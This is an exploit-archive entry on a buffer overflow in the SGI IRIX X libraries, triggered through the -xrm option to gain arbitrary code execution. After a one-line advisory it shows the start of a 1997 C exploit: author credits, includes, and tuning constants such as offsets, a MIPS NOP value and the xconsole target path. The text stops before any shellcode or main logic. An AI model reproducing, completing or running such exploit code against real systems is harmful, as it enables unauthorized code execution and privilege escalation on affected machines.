// source: https://www.securityfocus.com/bid/334/info
A vulnerability exists in the X libraries as supplied with Silicon Graphics IRIX operating system. By placing a carefully constructed buffer as the argument to the -xrm option, an attacker can execute arbitrary code.
/* Exploit by David Hedley <hedley@cs.bris.ac.uk>
* 27/5/97
*
* _very_ slighty modified by Patrick J..Paulus <pjp@stepahead.net>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#define NUM_ADDRESSES 500
#define BUF_LENGTH 500
#define EXTRA 9000
#define OFFSET 0x180 /* 0x184 for Irix 6.x */
#define GP_OFFSET -0x80
#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
#define PATH_PROG "/usr/bin/X11/xconsole" /* path & program name */